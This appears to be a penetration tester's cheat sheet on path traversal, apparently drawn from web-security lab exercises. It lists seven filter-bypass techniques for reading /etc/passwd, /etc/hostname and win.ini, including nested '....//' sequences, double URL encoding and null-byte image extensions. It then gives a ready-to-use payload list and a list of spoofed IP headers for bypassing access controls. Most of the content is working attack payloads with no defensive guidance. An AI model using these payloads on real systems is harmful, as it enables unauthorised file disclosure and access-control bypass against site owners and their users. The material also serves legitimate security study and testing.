Path Traversal

1. Application blocks traversal sequences but treats the supplied filename as being relative to a absolute path and can be exploit with /etc/passwdabsolute path to target file payload.

2. Images on target is loaded using filename parameter, and is defending against traversal attacks by stripping path traversal. Exploit using ....//....//....//....//etc/passwd payloads.

3. Superfluous URL-encoded ..%252f..%252f..%252fetc/passwd payload can bypass application security controls.

4. Leading the beginning of the filename referenced with the original path and then appending /var/www/images/../../../etc/passwd payload at end bypasses the protection.

5. Using a null byte character at end plus an image extension to fool APP controls that an image is requested, this ../../../etc/passwd%00.png payload succeed.

6. Double URL encode file path traversal, as example this ../../../../../../../../../../etc/hostname will be URL double encoded as, %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fhostname.

7. Windows OS accept both ../ and ..\ for directory traversal syntax, and as example retrieving loadImage?filename=..\..\..\windows\win.ini on windows target to identify valid path traversal.

Intruder payloads list:

/etc/passwd
....//....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
/var/www/images/../../../etc/passwd
../../../etc/passwd%00.png
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Headers to bypass access to files

X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: localhost
X-Forward-For: localhost
X-Remote-IP: localhost
X-Client-IP: localhost
X-Real-IP: localhost

X-Originating-IP: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1